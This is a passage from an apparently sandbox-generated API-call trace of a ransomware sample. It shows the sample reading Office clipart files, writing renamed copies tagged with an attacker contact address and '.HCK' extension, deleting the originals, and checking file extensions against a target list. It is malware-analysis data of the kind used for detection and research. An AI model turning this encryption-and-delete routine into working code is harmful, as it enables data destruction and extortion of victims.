Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf")) returned 0x220 [0232.207] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0232.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0232.208] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.208] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0232.208] GetLastError () returned 0x0 [0232.208] ReadFile (in: hFile=0x4c4, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x542c, lpOverlapped=0x0) returned 1 [0232.210] WriteFile (in: hFile=0x4c0, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x5430, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x5430, lpOverlapped=0x0) returned 1 [0232.211] ReadFile (in: hFile=0x4c4, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0232.211] WriteFile (in: hFile=0x4c0, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0232.211] SetEndOfFile (hFile=0x4c0) returned 1 [0232.211] CloseHandle (hObject=0x4c0) returned 1 [0232.211] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.211] SetEndOfFile (hFile=0x4c4) returned 1 [0232.214] CloseHandle (hObject=0x4c4) returned 1 [0232.214] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0232.214] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf")) returned 1 [0232.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0232.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0232.215] lstrlenW (lpString=".doc") returned 4 [0232.215] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.215] lstrlenW (lpString=".docx") returned 5 [0232.215] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0232.215] lstrlenW (lpString=".pdf") returned 4 [0232.215] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.215] lstrlenW (lpString=".xls") returned 4 [0232.215] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0232.215] lstrlenW (lpString=".xlsx") returned 5 [0232.215] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0232.215] lstrlenW (lpString=".ppt") returned 4 [0232.215] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0232.215] lstrlenW (lpString=".zip") returned 4 [0232.215] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0232.215] lstrlenW (lpString=".rar") returned 4 [0232.215] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.215] lstrlenW (lpString=".bz2") returned 4 [0232.215] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.215] lstrlenW (lpString=".7z") returned 3 [0232.215] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0232.215] lstrlenW (lpString=".dbf") returned 4 [0232.215] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0232.215] lstrlenW (lpString=".1cd") returned 4 [0232.215] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0232.215] lstrlenW (lpString=".jpg") returned 4 [0232.215] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0232.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0232.215] lstrlenW (lpString=".doc") returned 4 [0232.215] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.215] lstrlenW (lpString=".docx") returned 5 [0232.215] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0232.216] lstrlenW (lpString=".pdf") returned 4 [0232.216] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.216] lstrlenW (lpString=".xls") returned 4 [0232.216] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0232.216] lstrlenW (lpString=".xlsx") returned 5 [0232.216] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0232.216] lstrlenW (lpString=".ppt") returned 4 [0232.216] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0232.216] lstrlenW (lpString=".zip") returned 4 [0232.216] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0232.216] lstrlenW (lpString=".rar") returned 4 [0232.216] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.216] lstrlenW (lpString=".bz2") returned 4 [0232.216] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.216] lstrlenW (lpString=".7z") returned 3 [0232.216] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0232.216] lstrlenW (lpString=".dbf") returned 4 [0232.216] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0232.216] lstrlenW (lpString=".1cd") returned 4 [0232.216] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0232.216] lstrlenW (lpString=".jpg") returned 4 [0232.216] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.216] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0232.216] lstrlenW (lpString="J0105600.WMF") returned 12 [0232.216] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0232.217] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=8680) returned 1 [0232.217] CloseHandle (hObject=0x4c4) returned 1 [0232.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf")) returned 0x220 [0232.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0232.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0232.218] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.219] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0232.219] GetLastError () returned 0x0 [0232.219] ReadFile (in: hFile=0x4c4, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x21e8, lpOverlapped=0x0) returned 1 [0232.220] WriteFile (in: hFile=0x4c0, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x21f0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x21f0, lpOverlapped=0x0) returned 1 [0232.221] ReadFile (in: hFile=0x4c4, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0232.221] WriteFile (in: hFile=0x4c0, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0232.221] SetEndOfFile (hFile=0x4c0) returned 1 [0232.221] CloseHandle (hObject=0x4c0) returned 1 [0232.221] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.221] SetEndOfFile (hFile=0x4c4) returned 1 [0232.223] CloseHandle (hObject=0x4c4) returned 1 [0232.223] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0232.224] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf")) returned 1 [0232.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0232.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0232.224] lstrlenW (lpString=".doc") returned 4 [0232.224] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.224] lstrlenW (lpString=".docx") returned 5 [0232.224] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0232.224] lstrlenW (lpString=".pdf") returned 4 [0232.224] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.224] lstrlenW (lpString=".xls") returned 4 [0232.224] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0232.224] lstrlenW (lpString=".xlsx") returned 5 [0232.224] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0232.225] lstrlenW (lpString=".ppt") returned 4 [0232.225] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0232.225] lstrlenW (lpString=".zip") returned 4 [0232.225] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0232.225] lstrlenW (lpString=".rar") returned 4 [0232.225] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.225] lstrlenW (lpString=".bz2") returned 4 [0232.225] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.225] lstrlenW (lpString=".7z") returned 3 [0232.225] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0232.225] lstrlenW (lpString=".dbf") returned 4 [0232.225] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0232.225] lstrlenW (lpString=".1cd") returned 4 [0232.225] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0232.225] lstrlenW (lpString=".jpg") returned 4 [0232.225] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0232.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0232.225] lstrlenW (lpString=".doc") returned 4 [0232.225] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.225] lstrlenW (lpString=".docx") returned 5 [0232.225] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0232.225] lstrlenW (lpString=".pdf") returned 4 [0232.225] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.225] lstrlenW (lpString=".xls") returned 4 [0232.225] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0232.225] lstrlenW (lpString=".xlsx") returned 5 [0232.225] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0232.225] lstrlenW (lpString=".ppt") returned 4 [0232.225] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0232.225] lstrlenW (lpString=".zip") returned 4 [0232.225] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0232.225] lstrlenW (lpString=".rar") returned 4 [0232.225] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.225] lstrlenW (lpString=".bz2") returned 4 [0232.225] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.225] lstrlenW (lpString=".7z") returned 3 [0232.225] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0232.226] lstrlenW (lpString=".dbf") returned 4 [0232.226] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0232.226] lstrlenW (lpString=".1cd") returned 4 [0232.226] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0232.226] lstrlenW (lpString=".jpg") returned 4 [0232.226] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.226] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0232.226] lstrlenW (lpString="J0105638.WMF") returned 12 [0232.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0232.226] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=10364) returned 1 [0232.226] CloseHandle (hObject=0x4c4) returned 1 [0232.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf")) returned 0x220 [0232.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0232.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0232.227] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.227] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0232.228] GetLastError () returned 0x0 [0232.228] ReadFile (in: hFile=0x4c4, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x287c, lpOverlapped=0x0) returned 1 [0232.229] WriteFile (in: hFile=0x4c0, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x2880, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x2880, lpOverlapped=0x0) returned 1 [0232.230] ReadFile (in: hFile=0x4c4, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0232.230] WriteFile (in: hFile=0x4c0, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0232.230] SetEndOfFile (hFile=0x4c0) returned 1 [0232.230] CloseHandle (hObject=0x4c0) returned 1 [0232.230] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.230] SetEndOfFile (hFile=0x4c4) returned 1 [0232.233] CloseHandle (hObject=0x4c4) returned 1 [0232.233] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0232.233] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf")) returned 1 [0232.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0232.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0232.234] lstrlenW (lpString=".doc") returned 4 [0232.234] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.234] lstrlenW (lpString=".docx") returned 5 [0232.234] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0232.234] lstrlenW (lpString=".pdf") returned 4 [0232.234] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.234] lstrlenW (lpString=".xls") returned 4 [0232.234] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0232.234] lstrlenW (lpString=".xlsx") returned 5 [0232.234] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0232.234] lstrlenW (lpString=".ppt") returned 4 [0232.234] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0232.234] lstrlenW (lpString=".zip") returned 4 [0232.234] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0232.234] lstrlenW (lpString=".rar") returned 4 [0232.234] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.234] lstrlenW (lpString=".bz2") returned 4 [0232.234] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.234] lstrlenW (lpString=".7z") returned 3 [0232.234] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0232.234] lstrlenW (lpString=".dbf") returned 4 [0232.234] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0232.234] lstrlenW (lpString=".1cd") returned 4 [0232.234] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0232.234] lstrlenW (lpString=".jpg") returned 4 [0232.234] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0232.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0232.234] lstrlenW (lpString=".doc") returned 4 [0232.234] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.234] lstrlenW (lpString=".docx") returned 5 [0232.235] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0232.235] lstrlenW (lpString=".pdf") returned 4 [0232.235] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.235] lstrlenW (lpString=".xls") returned 4 [0232.235] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0232.235] lstrlenW (lpString=".xlsx") returned 5 [0232.235] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0232.235] lstrlenW (lpString=".ppt") returned 4 [0232.235] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0232.235] lstrlenW (lpString=".zip") returned 4 [0232.235] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0232.235] lstrlenW (lpString=".rar") returned 4 [0232.235] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.235] lstrlenW (lpString=".bz2") returned 4 [0232.235] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.235] lstrlenW (lpString=".7z") returned 3 [0232.235] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0232.235] lstrlenW (lpString=".dbf") returned 4 [0232.235] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0232.235] lstrlenW (lpString=".1cd") returned 4 [0232.235] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0232.235] lstrlenW (lpString=".jpg") returned 4 [0232.235] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.235] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0232.235] lstrlenW (lpString="J0105710.WMF") returned 12 [0232.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0232.236] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=13808) returned 1 [0232.236] CloseHandle (hObject=0x4c4) returned 1 [0232.236] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf")) returned 0x220 [0232.236] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0232.236] CreateFileW 